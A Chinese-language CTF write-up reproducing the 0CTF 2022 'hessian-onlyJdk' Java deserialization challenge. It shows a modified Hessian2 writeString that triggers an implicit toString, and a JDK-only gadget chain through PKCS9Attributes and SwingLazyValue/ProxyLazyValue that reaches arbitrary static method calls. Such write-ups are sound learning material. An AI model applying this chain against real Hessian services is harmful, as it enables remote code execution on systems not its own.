2022TCTFhessian-onlyJdk

  1. 1. 前言
  2. 2. 开始

前言

终于有空了,复现一下前段时间的ctf,因为工作和一些其他原因错过了很多比赛,闲下来就复现一些好题目

跟着我大哥学习https://siebene.github.io/2022/09/19/0CTF2022-hessian-onlyjdk-WriteUp/

开始

题目是给了两个hint

https://y4er.com/posts/wangdingbei-badbean-hessian2/

https://x-stream.github.io/CVE-2021-21346.html

源码本身就是个hessian2的反序列化

1665410015344.png

环境只有个jdk和hessian2,没有其他什么东西

看给的hint就行,CVE-2021-43297,按照参考文章所说

其实主要就是在hessian反序列化时在一定条件下隐式调用toString。

Hessian2Input#readString

1
2
3
4
5
6
7
8
9
10
11
12
13
 public String readString() throws IOException {
int tag = this.read();
int ch;
switch(tag) {
case 0:
case 1:
......
case 126:
case 127:
default:
throw this.expect("string", tag);
......
}

expect里有一处拼接

1
this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")")

(" + obj + ")

触发toString

但是按照正常流程是无法走到这里的,前面有这么多case,但这里重写Hessian2Output#writeString就行了(参考y4er师傅的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public void writeString(String value) throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

if (value == null) {
buffer[offset++] = 78;
this._offset = offset;
} else {
int length = value.length();

int strOffset;
int sublen;
for (strOffset = 0; length > 32768; strOffset += sublen) {
sublen = 32768;
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
}

offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

if (length <= 31) {
if (value.startsWith("aaa")) {
buffer[offset++] = 67;
} else {
buffer[offset++] = (byte) (0 + length);
}
} else if (length <= 1023) {
buffer[offset++] = (byte) (48 + (length >> 8));
buffer[offset++] = (byte) length;
} else {
buffer[offset++] = 83;
buffer[offset++] = (byte) (length >> 8);
buffer[offset++] = (byte) length;
}

if (!value.startsWith("aaa")) {
this._offset = offset;
this.printString(value, strOffset, length);
}
}
}

注意这两处修改

1
2
3
4
if (length <= 31) {
if (value.startsWith("aaa")) {
buffer[offset++] = 67;
}
1
2
3
4
if (!value.startsWith("aaa")) {
this._offset = offset;
this.printString(value, strOffset, length);
}

这样writeString(“aaa”),tag即为67

1665562369058.png

1665574534156.png

1665574572368.png

1665577457290.png

到readString里仍为67,由于switch从上往下的特性,就能够进入except里

1665577505546.png

之后就是隐式调用toString了

jdk中有一条链

1
2
3
4
5
6
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()

是XStream里一个cve来的,也就是第二个参考文章

不过javax.swing.MultiUIDefaults.toString没法用了 ,jdk版本高,doLookup也没法用

1665663335516.png

思路就是找一条toString->get的链子,看最上面我大哥的解法,他找到的是

sun.security.pkcs.PKCS9Attributes

非常完美的调用,这样子就变成

1
2
3
4
5
sun.security.pkcs.PKCS9Attributes.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue

至于toString->get的调用,我个人认为还是很多的,也懒得找了,codeql找起来应该挺快的。

接着看看SwingLazyValue.createValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object createValue(UIDefaults var1) {
try {
ReflectUtil.checkPackageAccess(this.className);
Class var2 = Class.forName(this.className, true, (ClassLoader)null);
Class[] var3;
if (this.methodName != null) {
var3 = this.getClassArray(this.args);
Method var6 = var2.getMethod(this.methodName, var3);
this.makeAccessible(var6);
return var6.invoke(var2, this.args);
} else {
var3 = this.getClassArray(this.args);
Constructor var4 = var2.getConstructor(var3);
this.makeAccessible(var4);
return var4.newInstance(this.args);
}
} catch (Exception var5) {
return null;
}
}

他其实可以执行静态方法,在Class var2 = Class.forName(this.className, true, (ClassLoader)null);

ClassLoader为null,默认为BootstrapClassLoader

所以只要找jdk里能用的静态方法就行了,不过其实还有一个javax.swing.ProxyLazyValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public Object createValue(final UIDefaults table) {
// In order to pick up the security policy in effect at the
// time of creation we use a doPrivileged with the
// AccessControlContext that was in place when this was created.
if (acc == null && System.getSecurityManager() != null) {
throw new SecurityException("null AccessControlContext");
}
return AccessController.doPrivileged(new PrivilegedAction<Object>() {
public Object run() {
try {
Class<?> c;
Object cl;
// See if we should use a separate ClassLoader
if (table == null || !((cl = table.get("ClassLoader"))
instanceof ClassLoader)) {
cl = Thread.currentThread().
getContextClassLoader();
if (cl == null) {
// Fallback to the system class loader.
cl = ClassLoader.getSystemClassLoader();
}
}
ReflectUtil.checkPackageAccess(className);
c = Class.forName(className, true, (ClassLoader)cl);
SwingUtilities2.checkAccess(c.getModifiers());
if (methodName != null) {
Class[] types = getClassArray(args);
Method m = c.getMethod(methodName, types);
return MethodUtil.invoke(m, c, args);
} else {
Class[] types = getClassArray(args);
Constructor constructor = c.getConstructor(types);
SwingUtilities2.checkAccess(constructor.getModifiers());
return constructor.newInstance(args);
}
} catch(Exception e) {
// Ideally we would throw an exception, unfortunately
// often times there are errors as an initial look and
// feel is loaded before one can be switched. Perhaps a
// flag should be added for debugging, so that if true
// the exception would be thrown.
}
return null;
}
}, acc);
}

c = Class.forName(className, true, (ClassLoader)cl);是有类加载器的,这也就拓展了能用的类的范围了

出题人也汇总了一下各个队伍找到的静态方法

https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk/writeup

这里面比较简单的就是预期解和System.setProperty + InitalContext.doLookup 我没去复现,应该就是修改高版本jdk下jndi限制的那个配置然后再去jndi,其他的没细看,都很精彩,总之学到很多。

至于其他的静态方法,我觉得应该没了吧(有我也找不出来)